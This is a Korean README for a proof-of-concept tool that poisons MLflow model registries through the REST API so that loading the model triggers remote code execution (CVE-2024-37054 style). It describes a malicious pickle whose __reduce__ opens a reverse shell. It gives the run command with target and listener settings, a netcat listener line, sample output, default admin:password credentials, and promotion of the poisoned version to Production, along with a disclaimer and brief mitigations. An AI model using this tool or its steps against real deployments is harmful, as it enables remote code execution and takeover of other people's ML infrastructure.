
MLflow REST API를 통해 등록된 모델을 오염시켜, 모델이 로드될 때 RCE를 트리거하는 악성 pickle을 삽입하는 개념 증명(Proof-of-concept).
MLflow 모델 레지스트리에 대한 pickle 역직렬화 RCE의 일반적인 개념 증명(CVE-2024-37054 스타일). MLflow REST API와만 통신하며, 앞단에 있는 특정 클라이언트 애플리케이션에 대한 가정은 하지 않습니다.
⚠️ 승인된 보안 테스트 전용입니다. 본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템(CTF/랩 환경, 서명된 범위가 있는 계약 등)에만 실행하십시오. 대부분의 관할권에서 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
MLflow의 pyfunc flavor는 mlflow.pyfunc.load_model()이 호출될 때마다 model.pkl 아티팩트를 unpickling하여 등록된 모델을 로드합니다. 이는 MLflow UI/API를 통해 직접 트리거되든, 등록된 모델에 대해 추론을 실행하는 일부 클라이언트 애플리케이션에 의해 간접적으로 트리거되든 마찬가지입니다.
Python의 pickle 모듈은 역직렬화 중에 객체의 __reduce__ 메서드를 통해 임의 코드를 실행할 수 있습니다. 공격자가 MLflow API에 다음을 수행할 수 있을 만큼 충분한 접근 권한을 가진 경우:
...공격자는 악성 pickle을 model.pkl로 위장하여 밀반입할 수 있습니다. 다음 번에 누군가 해당 모델 버전을 로드할 때, 공격자의 코드는 로드를 수행하는 프로세스(MLflow 서버 자체 또는 MLflow를 내장한 클라이언트 앱)의 컨텍스트에서 실행됩니다.
이는 CVE-2023-6015, CVE-2023-6018, CVE-2024-37054를 포함한 여러 MLflow CVE의 근본 원시 요소와 동일합니다. MLflow 인스턴스가 인증 없이 배포되거나 잘 알려진 기본 자격 증명(admin:password)으로 배포되는 경우가 많기 때문에 특히 위험합니다.
순수하게 API 기반으로, 다음 순서로 진행됩니다:
--model-name을 통해 이미 접근 권한이 있는 모델을 재사용합니다).model.pkl — __reduce__가 os.system()을 호출하여 리버스 셸을 실행하는 pickle.MLmodel — 해당 pickle을 기반으로 하는 python_function / sklearn flavor를 선언하는 매니페스트.Production). 많은 클라이언트 앱이 모델의 Production stage 버전만 로드하기 때문입니다.실제 모델 로드를 발견하거나 트리거하지 않습니다. 그 부분은 배포마다 다릅니다:
/predict 라우트, 예약된 배치 작업 등) 뒤에서 mlflow.pyfunc.load_model()을 호출합니다.다음을 직접 수행해야 합니다:
--model-name을 직접 확보하십시오 — MLflow UI, MLflow API(/api/2.0/mlflow/registered-models/search), 또는 클라이언트 애플리케이션이 귀하를 대신하여 모델을 등록할 때 반환하는 값에서 얻을 수 있습니다.pip install requests --break-system-packages
Python 3.8+. 다른 의존성은 없습니다.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
실행 전후에 리스너를 시작하십시오:
nc -lvnp 4444
그런 다음 대상 애플리케이션이 수행하는 방식대로 로드를 트리거하십시오(자체 추론 엔드포인트, 배치 작업, MLflow UI에서 수동으로 모델 로드 등).
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password)을 그대로 두지 마십시오.pickle에 의존하지 않는 MLflow flavor/직렬화 형식(예: ONNX, 또는 더 안전한 직렬화를 사용하는 flavor)을 사용하거나, 모델 로딩을 검증/샌드박스 처리하십시오.registered-models/create, model-versions/create, transition-stage 호출을 모니터링하십시오. 특히 Production에 모델을 게시해서는 안 되는 계정에서 발생하는 경우 더욱 그렇습니다.load_model()을 호출하는 모든 클라이언트 앱)를 네트워크 분할하십시오. 그래야 해당 위치의 코드 실행 원시 요소가 민감한 내부 시스템으로 직접 이어지는 경로를 갖지 않습니다.MIT — LICENSE 참조.
| Flag | Default | Description |
|---|
--mlflow | (required) | MLflow 기본 URL |
--model-name | random | 오염시킬 등록된 모델 이름; 존재하지 않으면 생성됨 |
--lhost | (required) | 리스너 IP |
--lport | 4444 | 리스너 포트 |
--username | admin | MLflow 기본 인증 사용자 이름 |
--password | password | MLflow 기본 인증 비밀번호 |
--experiment-id | 0 | run을 생성할 실험 ID |
--stage | Production | 악성 버전을 승격할 stage, 또는 전환을 건너뛰려면 none |